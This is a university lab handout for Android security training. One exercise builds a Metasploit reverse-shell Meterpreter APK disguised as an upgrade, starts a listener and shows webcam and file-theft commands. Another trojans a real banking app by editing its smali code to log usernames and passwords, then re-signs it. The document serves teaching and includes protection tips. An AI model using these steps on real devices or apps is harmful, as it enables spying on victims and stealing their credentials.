LAB 3

ANDROID LAB EXERCISE

MATERIAL PRODUCED IN THE FRAMEWORK OF:

DECAMP PROJECT

University of Padova
February 25, 2016
Contents

1 Activity 1: Getting Remote Shell Command .......................................................... 1
  1.1 Purpose ............................................................................................................... 1
  1.2 Disclaimer ........................................................................................................ 1
  1.3 Set up ............................................................................................................... 1
    1.3.1 Installing Kali Linux on VirtualBox ......................................................... 1
    1.3.2 Step 3: Modify VirtualBox settings ......................................................... 5
    1.3.3 Step 4: Loading Kali ISO ........................................................................ 8
    1.3.4 Step 5. Booting Kali ISO ........................................................................ 10
    1.3.5 Step 6: Kali disk partitioning .................................................................. 14
    1.3.6 Step 7: Finalizing installation and running Kali on VirtualBox. ............ 17
  1.4 Hacking Android With Metasploit’s Android Meterpreter ................................. 25
    1.4.1 Creating The Android Meterpreter Application ............................ 25
    1.4.2 Starting The Listener (Handler) .............................................................. 27
    1.4.3 Install malicious app on victim’s phone .............................................. 28
    1.4.4 Performing attack and get remote shell on Android phone ................ 30
  1.5 How you can protect your device against this attack .......................................... 35
  1.6 Source/Reference ............................................................................................ 35

2 Activity 2: Penetration Testing Framework for Android applications ................. 36
  2.1 Preliminary ....................................................................................................... 36
  2.2 Setup ............................................................................................................... 36
    2.2.1 Connecting Drozer to the Genymotion Virtual Machine ...................... 38
    2.2.2 Starting an activity from another package ........................................... 39
    2.2.3 Finding package name with Drozer ...................................................... 40
    2.2.4 Finding attack surface with Drozer ....................................................... 40
    2.2.5 Extract Android-Manifest.xml with Drozer ........................................ 40
    2.2.6 Listing exported activities with Drozer ............................................... 41
    2.2.7 Starting an exported activity with Drozer ............................................ 42
    2.2.8 Playing more with drozer ...................................................................... 43
  2.3 Decompiling an Android app ............................................................................. 46
  2.4 How to Install and Use ApkTool in Ubuntu 14.04 ......................................... 49
  2.5 Decompiling and Trojaning an Android App with Smali Code ...................... 51
    2.5.1 Purpose .................................................................................................... 51
    2.5.2 Disassembling an APK with apktool ..................................................... 51
    2.5.3 Exploring the Smali Code .................................................................... 52
    2.5.4 Finding Interesting Code with Grep ...................................................... 52
    2.5.5 Viewing Smali Code .............................................................................. 53
    2.5.6 Rebuilding the App ................................................................................. 54
    2.5.7 Re-Signing the APK .............................................................................. 55
    2.5.8 Installing the modified App on the Virtual Device Emulator .............. 57
    2.5.9 Monitoring the Log ................................................................................ 58
    2.5.10 Entering Data into the Trojaned App .................................................. 58
    2.5.11 Viewing the Stolen Data ...................................................................... 60
  2.6 Source/Reference ............................................................................................ 61
Activity 1: Getting Remote Shell Command

What You Need for This Experiment
A PC or Laptop with any OS (preferable Ubuntu 14.04), Genymotion Virtual Machine installed, Virtualbox installed and high-speed Internet connection.

1.1 Purpose
To get remote shell command in Android OS.

1.2 Disclaimer
All data and information provided on this experiment are for informational purposes only. The program described in this lab might be unethical and is considered a form of hacking. The University of Padua and the author of this experiment have no responsibility for any sort of consequence faced in the court of law for any sort of misuse.

1.3 Set up
1.3.1 Installing Kali Linux on VirtualBox
To open virtual box software, in Ubuntu terminal type:
`virtualbox`
Open up a web browser and go to this website:
`https://www.kali.org/downloads/`
According to your Hardware specification, download Kali Linux 64 bit ISO file (3.1G)

Step 1: Create a new Virtual Machine
Step 1.1: Enter a name for you VBox
Enter Kali Linux-2 as the name. Click Next.
Step 1.2: Allocate Memory/RAM
Default memory size is 256 MB. Change it to 1024 (1GB) or even more.
Step 2: Create a Virtual Hard Drive

Select “Create a virtual hard drive now” 2nd option and click Create.

Step 2.1: Select Virtual Drive File type
Select “VDI” VirtualBox Disk Image as your Hard Drive File Type. Click Next.
Figure 4: Installing Kali Linux on VB (4).

Step 2.2: Select Physical hard drive allocation type
Select Dynamically Allocated and click Next.

Figure 5: Installing Kali Linux on VB (5).

Step 2.3: Allocate disk size
On “File location and size” screen, it will come up as 8.00 GB as default size. Change the Virtual Hard Drive size to 15.00 GB and Click Create.

![Figure 6: Installing Kali Linux on VB (6).]

1.3.2 Step 3: Modify VirtualBox settings

Select Kali Linux-2 and click on Settings icon.
Step 3.1: Select type of OS.
Select Debian (64-bit)
Step 3.2: Enable shared clipboard and drag and drop feature. Select General then Advanced TAB and change Shared Clipboard and Drag and Drop to Bidirectional.

Step 3.3: Update Virtual Motherboard options Select System then Motherboard, un-check Floppy and Check the box for “Enable I/O APIC”.

Figure 7: Installing Kali Linux on VB (7).
Figure 8: Installing Kali Linux on VB (8).

Step 3.4: Select number of Processors and enable PAE/NX

Figure 9: Installing Kali Linux on VB (9).

Step 3.5: Allocate Video memory and 3D acceleration
Select Display then Video and set Video Memory to 128MB.

![Image of Display settings with Video Memory set to 128MB.](image)

**Figure 10: Installing Kali Linux on VB (10).**

### 1.3.3 Step 4: Loading Kali ISO

Select Storage then Controller: IDE and highlight Empty CD icon. Now on your right side, you should be able to use the little CD icon (it should be CD/DVD Drive: IDE Secondary Master already, if not change it) and select your downloaded ISO.
Step 4.1: Select Network connection type
If your computer is connected to Internet, select Network, Adapter 1, then check-mark Enable network adapter and chose Bridged adapter either “eth0” or “wlan0” (depends on your connection, if you use wired connection use eth0).
1.3.4 Step 5. Booting Kali ISO

From VirtualBox Main Screen, Highlight Kali Linux-2 and Press Start Button.

Step 5.1: Select Graphical Install
On Kali Linux Boot menu, highlight Graphical install and press Enter.
Step 5.2: Select language
Step 5.3: Select location

![Figure 16: Installing Kali Linux on VB (16).](image)

Step 5.4: Select keyboard layout

Step 5.5: Enter Hostname You can enter any name in here. Leave the default hostname as "kali". Click Continue

![Figure 17: Installing Kali Linux on VB (17).](image)
Step 5.6: Enter Domain name Leave it blank if you want.

![Configure the network](image1)

Figure 18: Installing Kali Linux on VB (18).

Step 5.7: Choose Root password Enter your root password (suggestion: root), confirm and Click Continue.

![Set up users and passwords](image2)

Figure 19: Installing Kali Linux on VB (18).
Step 5.8: Configure the Clock

![Configure the clock](image)

Figure 20: Installing Kali Linux on VB (19).

1.3.5 Step 6: Kali disk partitioning

Step 6.1: Choose Partitioning method Highlight Guided use entire disk and Select Continue

![Partition disks](image)

Figure 21: Installing Kali Linux on VB (20).
Step 6.2: Select disk to partition
Highlight your disk and click Continue.

Figure 22: Installing Kali Linux on VB (21).

Step 6.3: Select partitioning scheme
Highlight “All files in one partition” and click Continue.

Figure 23: Installing Kali Linux on VB (22).
Step 6.4: Finish partitioning
Highlight Finish partitioning and white change to disk and click Continue.

![Screenshot of partitioning process]

Figure 24: Installing Kali Linux on VB (23).

On the next screen, highlight “Yes” and click Continue to write changes to disks.

![Screenshot of confirmation process]

Figure 25: Installing Kali Linux on VB (24).
Your installation will start now.

Figure 26: Installing Kali Linux on VB (25).

1.3.6 Step 7: Finalizing installation and running Kali on VirtualBox.

If you have Internet connection update your installation of Kali Linux on VirtualBox by selecting to “Use a Network mirror?”. Click Continue.

Figure 27: Installing Kali Linux on VB (26).
Step 7.1: Provide HTTP Proxy information
If you are behind a proxy, type it in here, if you are directly connected to Internet, leave it blank and click Continue.

Figure 28: Installing Kali Linux on VB (27).

Step 7.2: Install GRUB boot loader
Select Yes to install grub boot loader on the next screen. Press Continue when ready.

Figure 29: Installing Kali Linux on VB (28).
Step 7.3: Reboot
Once the installation has finished, press continue and the system will reboot.

![Image](image1.png)

Figure 30: Installing Kali Linux on VB (29).

![Image](image2.png)

Figure 31: Installing Kali Linux on VB (30).

Step 7.4: Choose Kali on Grub
Choose the first option and press Enter.
Step 7.5: Login for the first time
Enter root as your username.

Figure 32: Installing Kali Linux on VB (31).

Figure 33: Installing Kali Linux on VB (32).
Figure 34: Installing Kali Linux on VB (33).

Figure 35: Installing Kali Linux on VB (34).
Step 8: Install Virtualbox Guest Additions packages.

Guest Additions are designed to be installed inside a virtual machine after the guest Operating System has been installed. They include device drivers and system applications that optimize the guest operating system for better performance and usability.

Step 8.1: Mount VirtualBox Guest Additions drive and install dependencies
Install all the dependencies by running the following command in a terminal:

**apt-get install linux-headers-$\{uname -r\}**

(More info: `uname –help`)
Figure 37: Installing Kali Linux on VB (36).

Figure 38: Installing Kali Linux on VB (37).
Step 8.2: Copy and install the package
From device menu on your VirtualBox, click on Insert guest additions CD image option.
Go to home directory of VBOXADDITIONS by opening a terminal and typing:
cd /media/cdrom0
Copy the “VBoxLinuxAdditions.run” file from the drive to the root directory using following command

cp VBoxLinuxAdditions.run /root/
Make it executable:
chmod 755 /root/VBoxLinuxAdditions.run
cd
Install it:
./VBoxLinuxAdditions.run
Once you have installed VirtualBox Guest Additions package, reboot Kali Linux.
1.4 Hacking Android With Metasploit’s Android Meterpreter

In order to hack Android we need to create an application (.apk file) that contains embedded Meterpreter functionality. We will set up a listener (handler) on the attacking machine and then install this program onto the phone/tablet and execute it so the device performs a reverse connection to the attacking machine.

1.4.1 Creating The Android Meterpreter Application

Open up a kali terminal and type:

```
ifconfig
```

Make a note of your IP address.
Open up another terminal and type:

```
msfvenom -p android/meterpreter/reverse_tcp LHOST=IP_Address LPORT=Port_Number > /root/app_name.apk
```

for instance, `msfvenom -p android/shell/reverse_tcp LHOST=192.168.1.6 LPORT=1234 R > /root/androidUpgrade.apk` (We can opt an interesting name for our Android app)
1.4.2 Starting The Listener (Handler)

Open up a kali terminal and type below commands subsequently:

```
msfconsole
g louis $ use exploit/multi/handler
louis $ set payload android/meterpreter/reverse_tcp
louis $ set LHOST IP_Address
louis $ set LPORT 1234
louis $ exploit
```

Figure 43: msfconsole.
1.4.3 **Install malicious app on victim’s phone**

Navigate to Genymotion home directory and open up an Ubuntu terminal by pressing “CTRL+ALT+T” and type:

```
./genymotion
```

Launch Genymotion Virtual Device (Android 5.0 or 5.1 and etc.).

Install malicious Android APK via ADB (locally) or package installer.

**Note:** To install the apk file via adb, go to android.apk home directory.

Open up an Ubuntu terminal and type:

```
adb install android.apk
```

Also, you can send the malicious apk file via email to the victim by charming email title (Do this just in the LAB not real world). Or you can share it with others through [https://www.speedyshare.com/](https://www.speedyshare.com/). Then, install via package installer.
Figure 45: Install malicious app (1).

Figure 46: Install malicious app (2).
After installing the app, if user opens the app, the attacker will get meterpreter session to control the victim’s device.

Figure 48: Getting meterpreter session.

1.4.4 Performing attack and get remote shell on Android phone

Metasploit should now be listening for a response from any Trojans that become active. Once the Target Host has created the session back to Metasploit, you can then start accessing the Android device.

The available commands which can be used in Meterpreter are as follows:

```plaintext
meterpreter> help
```
Figure 49: Available commands to control the victim’s device (1).

Figure 50: Available commands to control the victim’s device (2).

You can “cd sys” and “ls” all the directory content.
You also can download files from victim’s smartphone.

Attacker can start victim’s webcam in order to capture video.
In Genymotion VM turn the webcam ON by clicking on camera icon on right-handed side.
**Creepy/Cool things you can do with your meterpreter session:**

- Viewing running processes
  ```plaintext
  meterpreter> ps
  ```

- Printing the Working directory
  ```plaintext
  meterpreter> pwd
  ```

- Search for a file
  ```plaintext
  meterpreter> search f *.mp3
  ```

- Taking photos using the devices cameras
  First list all the webcams that are available:
  ```plaintext
  meterpreter> webcam_list
  1: Back Camera
  2: Front Camera
  ```
  You can now run the `webcam_snap` command, by default it takes a photo using the first camera:
  ```plaintext
  meterpreter> webcam_snap
  ```
  If you want to take a photo using the second camera:

- Viewing a video stream from the devices camera Run the following command to stream from the second camera:
  ```plaintext
  meterpreter> webcam_stream
  ```
1.5 How you can protect your device against this attack

- Only install apps and software from the google play store.
- Run some sort of (trusted) 3rd party security software and regularly audit your phone.
- Make sure you have not enabled "installs from unknown sources".
- Keep your phone in your possession at all times.
- Avoid opening any suspicious links in emails or text messages.

1.6 Source/Reference

Activity 2: Penetration Testing Framework for Android applications

What we need for this experiment

A PC or Laptop (preferably Ubuntu 14.04), Drozer and Genymotion virtual machine installed.

2.1 Preliminary

The main methods for Inter-App Communications in Android OS are as follows:

- One application can send an intent in order to start an activity exported by another application;
- One application can access content provided by another application, using “content:// URIs”;
- One application can broadcast an event across applications in order to interact with a broadcast receiver implemented in another application;
- One application can access a service exported by another application.

As you can see, there are many interactions ...

Drozer is a Python based framework to help automate Android application testing. It consists of two parts: a console and an Android agent with limited permissions. Drozer is based on a client-server architecture. The client is installed on your local instance, whereas the server is the Android app or agent. Once you run the Android app, it starts the Drozer server on port 31415, which is also the port on which it communicates with the client.

2.2 Setup

First, we need to install Drozer.

Open a web browser and go to https://www.mwrinfosecurity.com/products/drozer/
downloads

Download drozer-Debian/Ubuntu (22 MB) and drozer Agent APK file (618 KB)
open up an Ubuntu terminal (superuser) and type:

```
sudo dpkg -i drozer_2.3.4.deb
```

Second, you need to install Drozer Agent on your mobile device.

```
adb install drozer-agent-2.3.4.apk
```

Drozer Agent acts as a bridge between the Drozer installed on your computer and your mobile device. You can download it from the same sources as mentioned above, keeping in mind that the Drozer version and Drozer Agent version should match.

The third step is to install on your mobile device the application that you want to test. For instance, Firefox for Android (We install it from Google Play).
Figure 56: Installing Firefox (1).

Figure 57: Installing Firefox (2).
2.2.1 Connecting Drozer to the Genymotion Virtual Machine

In order to connect Drozer to the Genymotion, we need to follow the next steps:

Open up a terminal and navigate to palce you have downloaded the Drozer agent app. Then type:

```
adb install drozer-agent-2.3.4.apk
```

![Figure 58: Installing Drozer agent (1).](image1)

Open Drozer Agent application on Genymotion and click the “ON” button from the bottom-right,

Open up an Ubuntu terminal (CTRL+ALT+T) and use adb to open a TCP socket between your computer and the server embedded in Drozer Agent. You will first need to set up port forwarding so that your system can connect to a TCP socket opened by the Agent inside the emulator, or on the device. By default, drozer uses port 31415.

Type in:

```
adb forward tcp:31415 tcp:31415
```

![Figure 59: Installing Drozer agent (2).](image2)
Go to the folder where you installed Drozer and connect to Genymotion.

Type in Ubuntu Terminal:

`drozer console connect`

### 2.2.2 Starting an activity from another package

In interactive Drozer console type in:

- `list`

`list` will display a list of commands available in Drozer. To exit from drozer console push ‘CTRL+C’.


2.2.3 Finding package name with Drozer

To find a list of packages that contain the string “firefox” type in:
run app.package.list -f firefox
We found org.mozilla.firefox.

![Image: Finding package name.]

2.2.4 Finding attack surface with Drozer

To identify the attack surface for our application type:
run app.package.attacksurface org.mozilla.firefox

![Image: Finding attack surface.]

2.2.5 Extract Android-Manifest.xml with Drozer

To extract the AndroidManifest.xml file for our package type:
run app.package.manifest org.mozilla.firefox
2.2.6 Listing exported activities with Drozer

To list the exported activities type:

```
run app.activity.info -a org.mozilla.firefox
```

There is an exported activity named “org.mozilla.firefox.App” that does not require any permission to be started.
2.2.7 Starting an exported activity with Drozer

To start an activity, type:

```
```

As a result, Firefox opened a new tab on the Genymotion and navigated to “www.unipd.it”
website.
Drozer Agent, an application without special permissions installed on the Genymotion virtual machine, can initiate an Intent and start activities that were exported by other apps.

2.2.8 Playing more with drozer

Open a web browser and go to this page:
https://github.com/dineshshetty/Android-InsecureBankv2
Download the Zip file (a vulnerable app InsecureBankv2) and unzip it in local disk.

![Figure 67: Pushing app into Genymotion to be installed.](image)

Open up another terminal and install InsecureBankv2 in Genymotion.

![Figure 68: Installing InsecureBankv2 app (1).](image)
Connect to drozer to see a list of all the packages installed, and type:

**run app.package.list**

Figure 70: Listing of all the packages installed.

Now, to find info. about a particular packages, use the module “app.package.info”. It will...
give out a lot of info. about the application, for e.g., the path where the application files are stored, the permissions that the application uses etc.

![Figure 71: Finding info about a particular packages installed.](image)

Another useful module is “app.package.attacksurface”. It tells you about the exported components as well as whether the application is debuggable or not.

![Figure 72: Finding exported components.](image)

We can call an exported activity in the insecure bank application using the module “app.activity.start”.

dz > run app.activity.start - - component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
And you will see the result!

2.3 Decompiling an Android app

To decompile an Android apps, first, we must install Dex2jar then JD-Gui software. Download Dex2jar from:
http://dex2jar.googlecode.com/files/dex2jar-0.0.9.15.zip
Extract the zip file.
Open up an Ubuntu terminal and go to home directory of Dex2jar, then type:
./d2j-dex2jar.sh /path-to-apk/InsecureBankv2.apk
To get permission type:
chmod a+x d2j-dex2jar.sh
It will generate .jar file in Dex2jar home directory named “InsecureBankv2-dex2jar.jar”.
To open that .jar file we have to use JD-Gui. Just download it from:
http://jd.benow.ca/jd-gui/downloads/jd-gui-0.3.5.linux.i686.tar.gz
Unzip the zip file.
 Afterwards, go to home directory of JD-Gui and follow below command through your terminal (ALT+CTR+T):
./jd-gui
Now open .jar file in JD-GUI, That’s it!
We can now scan through the source code to find potential vulnerabilities in the application.

**Troubleshooting:**
So you have just downloaded the jd-gui for linux but it does not start. Open another terminal and type:
sudo apt-get install libgtk2.0-0:i386 libxxf86vm1:i386 libsm6:i386 lib32stdc++6

**Discovering more inside APK archive**
Open a Terminal and type bellow commands:
cp InsecureBankv2.apk InsecureBankv2.zip
unzip InsecureBankv2.zip -d insecurebank
cd insecurebank

Figure 74: Opening .jar file in JD-GUI.

Figure 75: Unzipping APK file (1).
Now browse over to the extracted folder and have a look. You see:

- **AndroidManifest.xml**: it contains information about the various components used in an application. It also displays information about the permissions that the application uses.
- **assets and res**: This is used to store raw assets file.
- **META-INF**: Contains important information about the signature and the person who signed the application.
- **classes.dex**: This is where the compiled application code lies. To decompile an application, you need to convert the dex file to a jar file which can then be read by a java decompile.
- **resources.arsc**: application resources files contain compiled resources in binary format and may include images, strings, or other data used by program.

The information about the public key certificate is stored in the CERT.RSA file in the META-INF folder.

To find out information about the public key certificate, navigate into “/insecurebank” home directory and in terminal type in:

```
keytool -printcert -v -file META-INF/CERT.RSA
```

![Figure 76: Unzipping APK file (2).](image)

![Figure 77: Finding out information about the public key certificate.](image)
Decompile and Recompile APKs with Android Apktool

With apktool you are able to decompile the Android application and insert your modifications (code modified) and recompile the modified app.

2.4 How to Install and Use ApkTool in Ubuntu 14.04

We will decompile and recompile apk files on Ubuntu or any Linux distribution. To download the apktool move to this link:
http://www.mediafire.com/download/56fhlu6wnbtdn/apktool.zip
Download the apktool zip and extract the archive.

Open Terminal on Ubuntu. Type the below command:

`sudo nautilus`

Now Open the extracted folder which has apktool and apktool.jar copy both files.

Navigate to `/usr/local/bin` and paste these files.

Right click on them and go to permissions tab and set them as executable. Open up an Ubuntu terminal and type:

`sudo chmod -R 777 apktool/`

Navigate to apktool home directory.

`apktool d /home/hossein/Downloads/apktool/InsecureBankv2.apk`

Hit the enter.

![Image](image.png)

Figure 78: Decompiling apk file using apktool (1).

After the app is correctly decompiled, a new folder will be created in the same folder where you placed your app. This contains all the xml’s and small files which can be edited.
Figure 79: Decompiling apk file using apktool (2).

You will see InsecureBankv2.apk decompiled. After decompiling, the Dalvik bytecode appears in a folder named "InsecureBankv2/", in a subfolder named "smali". There are hundreds of files in many directories here.

-Finding Interesting Code with Grep

Start in the directory containing your APK file. Execute these commands:

```
grep -ir SOMETHING
```

This searches for the string that you are looking for in the smali code.
If you are interested, also you can open up smali code in a text editor, take a at it and modify smali code or add your code.

To recompile the app use this command:

```
apktool b InsecureBankv2/
```

Go to InsecureBankv2/dist folder, you can see the re-compiled version of app.

**Note:** Since the code has changed, the old signature is invalid. We must sign it again (Re-Signing the APK). To do that, we have to use the "jarsigner" tool, part of the Java Development Kit.
2.5 Decompiling and Trojaning an Android App with Smali Code

What You Need for This Project

A computer with Android Studio installed, a self-signed certificate to sign the modified app with, and an Android emulator to test the app on.

2.5.1 Purpose

We aim at modifying an Android app in order to steal passwords. We just put the passwords in the log file. Also with extra effort we can send the passwords to the attacker over the Internet (this experiment does not cover that part).

2.5.2 Disassembling an APK with apktool

First, download Schwab apk file (version 5.0.0.43). Now, the current version available at Google Play store has been obfuscated and this attack can no longer work with obfuscated version.

You can download Charles Schwab Android App from link below:
http://getandroidapp.altrusadallas.org/applications/finance/184825-schwab-mobile-5-0-0-43.html

Open up a Terminal.

Change directory to the location of APKTool and type this command:

```
cd /.../apktool
apktool d com-schwab-mobile-5.0.0.43.apk
```

![Figure 81: Disassembling apk file using apktool (1).](image)

Messages appear as apktool disassembles the app, as shown below.
2.5.3 Exploring the Smali Code

After decoding, the Dalvik bytecode appears in a folder named “com-schwab-mobile-5.0.0.43”, in a sub-folder names “smali”. There are hundreds of files in many directories here. Obfuscation techniques have not been used in this apk version and all files and folders have readable names.

Figure 82: Disassembling apk file using apktool (2).

2.5.4 Finding Interesting Code with Grep

Start in the directory containing your APK file and execute these commands:
```
cd com-schwab-mobile-5.0.0.43
grep -ir username smali | more
```
This searches for the string "username" in the smali code. One place it is found is in the SessionManagementService.smali file, as shown below.

Figure 83: Exploring inside the decompiled apk file.
2.5.5 Viewing Smali Code

Open up Windows Explorer and navigate to the location of `SessionManagementService.smali` file and open it in a text editor.

Find the “performLogIn” function, as shown below.

```java
1. method public performLogIn(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;  
2. locals 5
3. .param p1, "deviceId" # Ljava/lang/String;
4. .param p2, "username" # Ljava/lang/String;
5. .param p3, "password" # Ljava/lang/String;
6. .param p4, "token" # Ljava/lang/String;
7. .param p5, "rememberMeEnabled" # Z
8. .param p6, "pushToken" # Lschwab/mobile/session/sessionmanagementservice/PushRegisterRequest;
9. .param p7, "requestOwner" # Lcom/schwab/mobile/service/transport/HttpTransportRequestOwner;
10. .annotation system Dalvik/annotation/Signature;
11. value = {
12. "C",
13. "Ljava/lang/String;",
14. "Ljava/lang/String;",
15. "Ljava/lang/String;",
16. "Ljava/lang/String;",
17. "Ljava/lang/String;",
18. "Z",
19. "Lschwab/mobile/session/sessionmanagementservice/PushRegisterRequest;".
```

This function has two parameters that look interesting: p2 and p3.
To demonstrate the vulnerability, we will put the username and password into the Android log. That is a famously insecure place to put them, because any app on the device can see them.

To do that, add this code to the file, as shown below.
Modify the file to steal the username and password, as shown below.

Figure 86: Adding Trojan to the Smali code.

Save the modified file.

2.5.6 Rebuilding the App

Now we need to rebuild the APK file from the modified Smali code. This will create a “dist” subdirectory containing an APK file (modified one).

Go to the decompiled app’s home directory, navigate to “original” folder and delete the “META-INF” folder.

Figure 87: Deleting the “META-INF” folder.

Then in a Terminal execute this command:

apktool b .
2.5.7 Re-Signing the APK

Since the code has changed, the old signature is invalid. We must sign it again. To do that, we use the “jarsigner” tool.

**Note:** we need to have signing certificate. To this end, fire up Android Studio and follow these steps:
- On the menu bar, click Build > Generate Signed APK.
- On the Generate Signed APK Wizard window, click Create new to create a new keystore.
- On the New Key Store window, provide the required information as shown in figure 89.

![Generate Signed APK Wizard](image)

Figure 89: Generating signing certificate (1).

Your key should be valid for at least 25 years, so you can sign app updates with the same key through the lifespan of your app.
- On the Generate Signed APK Wizard window, select a keystore, a private key, and enter the passwords for both. Then click Next, Figure 97.
On the next window, select a destination for the signed APK and click Finish.

After generating signing certificate, to sign the modified APK file in a Terminal execute this command.

```
jarsigner -keystore /the-location-of-signing-certificate/android.jks dist/com-schwab-mobile-5.0.0.43 key's Alias
```
E.g., `jarsigner -keystore /.../android.jks dist/com-schwab-mobile-5.0.0.43 myandroidkey`

You will have to adjust the path after “-keystore” match the location of your signing certificate. The last parameter is your key’s Alias. When you are prompted to, enter the key store password you chose earlier.

![Figure 92: Signing the modified apk file.](image)

### 2.5.8 Installing the modified App on the Virtual Device Emulator

Open up a Terminal in Ubuntu and change the current directory (using `cd` command) to Android-studio home directory and type in:

```
android avd
```

![Figure 93: Opening Android Virtual Device.](image)

After you opened and started the Android Virtual Device (avd), open up another Terminal and go to the directory that you saved already the modified apk file (the decompiled app’s home directory then dist folder) and install the Schwab apk file using this command:

```
adb install com-schwab-mobile-5.0.0.43.apk
```
2.5.9 Monitoring the Log

To monitor activities of modified app, open up a Terminal and execute this command:

`adb logcat l grep TROJAN`

Do not close the terminal.

2.5.10 Entering Data into the Trojaned App

Launch the modified app. **Note:** if you get a notification telling that the application must be updated (Update Required), close the app and disable the Internet connection (either wired or wireless) then lunch the app and wait a few seconds. This time you will be directed to first page of app that needs to be refreshed. Now enable the Internet connection and refresh the app.

![Figure 94: Launching the modified app (1).](image-url)
In the top left, click the three-line icon just to the left of the blue “charles SCHWAB” logo. Click “Log in”.
Enter a fake credentials, as shown below. Click “Log in”.
The Schwab app main window appears, as shown below.
2.5.11 Viewing the Stolen Data

Your Terminal window should show the stolen data, as shown below.

Figure 96: Viewing the Stolen login credential (1).

Figure 97: Viewing the Stolen login credential (2).

Done!
2.6 Source/Reference

   bank-part-1/#article
   application-testing/